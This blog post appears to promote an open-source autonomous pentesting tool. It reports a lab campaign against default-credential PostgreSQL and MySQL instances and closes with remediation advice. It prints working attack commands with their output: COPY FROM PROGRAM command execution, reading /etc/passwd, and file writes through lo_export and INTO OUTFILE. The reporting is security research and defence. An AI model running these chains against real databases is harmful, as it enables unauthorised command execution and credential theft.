Blog

PostgreSQL COPY TO PROGRAM RCE and a MySQL 5.6 audit in one autonomous run

22 findings against PostgreSQL 16.14 and MySQL 5.6.51: command execution as the postgres user, arbitrary file read and write, password hash extraction from pg_shadow and mysql.user, and live session tokens.

· 7 min read

A database superuser is not a database problem. It is a host problem, a credential problem and a compliance problem at the same time, and the distance between the three is usually a single SQL statement. We gave an autonomous agent default credentials on two databases and let it map that distance without a human in the loop.

The targets were PostgreSQL 16.14 on 127.0.0.1:5432 and MySQL 5.6.51 on 172.22.0.2:3306, both seeded with realistic application data. The sql-databases specialist agent ran one campaign across both and pushed 22 findings.

What the agent found

SeverityCount
Critical6
High10
Medium6
Low0
Total22

Sixteen of the 22 are marked exploited. The split is roughly even between the two engines, and the two entry points were the same class of problem: postgres/postgres on PostgreSQL, and a root account reachable from any host on MySQL.

PGPASSWORD=postgres PGSSLMODE=disable psql -h 127.0.0.1 -p 5432 -U postgres -w \
  -c 'SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin, rolreplication FROM pg_roles;'

-> PostgreSQL 16.14 (Debian 16.14-1.pgdg13+1)
-> postgres role: rolsuper=t rolcreaterole=t rolcreatedb=t rolcanlogin=t rolreplication=t

mysql -h 172.22.0.2 -P 3306 -u root -p<redacted> \
  -e 'SELECT user, host FROM mysql.user; SHOW GRANTS FOR CURRENT_USER();'

-> user=root host=%          (accepts from any IP)
-> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' ... WITH GRANT OPTION

Chain one: PostgreSQL superuser to command execution

COPY ... FROM PROGRAM is the shortest path from a superuser session to the operating system. It is not a vulnerability in PostgreSQL, it is a documented feature restricted to superusers and members of pg_execute_server_program, which is exactly why default superuser credentials are a critical finding rather than a hygiene note.

PGPASSWORD=postgres psql -h 127.0.0.1 -p 5432 -U postgres -c \
  "CREATE TEMP TABLE cmd_output (line text);
   COPY cmd_output FROM PROGRAM 'id';
   SELECT * FROM cmd_output;"

COPY 1
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

The agent then used the same primitive to dump the server environment, which is how it established where it actually was:

COPY env_info FROM PROGRAM 'env';

HOSTNAME=docker-desktop
PGDATA=/var/lib/postgresql/data
PG_VERSION=16.14-1.pgdg13+1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/postgresql/16/bin

File read and file write were both proven separately, by two different mechanisms each:

  • Read. pg_read_file('/etc/passwd', 0, 2000) returned the file, 19 entries including postgres:x:999:999::/var/lib/postgresql:/bin/bash. Separately, lo_import('/etc/hostname') returned OID 16410 and loread returned docker-desktop.
  • Write. COPY ... TO '/tmp/.dm_write_proof' succeeded and the file was read back with pg_read_file, then lo_export(16410, '/tmp/.dm_lo_proof') returned 1.

It also pulled the password hashes out of pg_shadow, which is a SCRAM-SHA-256 verifier for the superuser, and read pg_hba.conf from disk to show that local and loopback connections are set to trust, so anything already on the host authenticates with no password at all.

Chain two: MySQL 5.6, an end of life engine holding live data

On the MySQL side the story is less about a single primitive and more about accumulation. Version 5.6.51 has been out of support for years, the root account accepts connections from any host, and the vulnapp schema held credentials in plaintext.

  • Plaintext application credentials. The admins and user tables store passwords in clear, not hashed. The report lists them; we are not reprinting account passwords here.
  • Live session tokens. The sessions and adminsessions tables contained five active admin session identifiers, which is a session hijack primitive that survives a password reset.
  • File privilege. secure_file_priv=/var/lib/mysql-files/, so the agent proved write and read with SELECT ... INTO OUTFILE followed by LOAD_FILE, which returned the hex of the written string.
  • Password hashes. The pre-4.1 style hash for root was read from mysql.user at both localhost and %.
  • Stored cross site scripting waiting in the data. One row in userdetails has an address field containing a script tag. The agent recorded it as evidence of what the seeded application stores, not as a web finding, because it never tested a web front end in this campaign.

Findings that stayed at confirmed

Six of the 22 are medium and confirmed rather than exploited, and the distinction is deliberate. SSL disabled on both engines, connection and statement logging off on PostgreSQL, general log, slow query log and binary log all off on MySQL, local_infile on. These are read out of pg_settings and SHOW VARIABLES. Nothing was exploited to establish them, so the report does not say exploited. The same discipline applies to dblink: the extension was created and dblink_connect returned OK against the local instance, which proves the lateral movement and server side request forgery primitive exists, and the finding stops there rather than claiming a pivot that was never attempted.

Remediation

  • Replace default credentials, and stop granting superuser to application roles. Almost every critical finding in this report collapses if the application connects as a restricted role.
  • Revoke pg_execute_server_program and keep superuser accounts off the network path. Restrict COPY ... FROM PROGRAM, lo_import and lo_export to accounts that need them, which is usually none.
  • Fix pg_hba.conf: trust for local and loopback means any local process is already authenticated.
  • Migrate off MySQL 5.6. There are no security updates for it, and no configuration hardening compensates for that.
  • Bind root to localhost, revoke FILE, enable TLS on both engines, and turn on statement or audit logging so that the next run of these same commands leaves a trace.
  • Hash stored passwords, and invalidate the session tokens that were readable in the clear.

A caveat about this report

The server side report generator returned a 500 for this campaign, because a stale reconciler flipped the long running campaign to stopped before finalisation completed. The 22 findings are complete and the document was assembled from them with the same schema. We fixed the underlying generator fragility separately, and we flag the caveat here instead of hiding it.

What this proves about autonomous pentesting

Two engines, two client tools, one campaign, and the agent used psql and mysql correctly for each rather than trying to speak either protocol by hand. The chains it produced are the ones a human would run, and each one carries the exact statement and the exact output. That is what makes the difference between a report a database team argues with and one they act on.

The platform is open source under GPL-3.0: repository, documentation.

Run it against your own lab

Darkmoon is open source (GPL-3.0) and self hosted. Clone it, point it at a target you own, and read every line.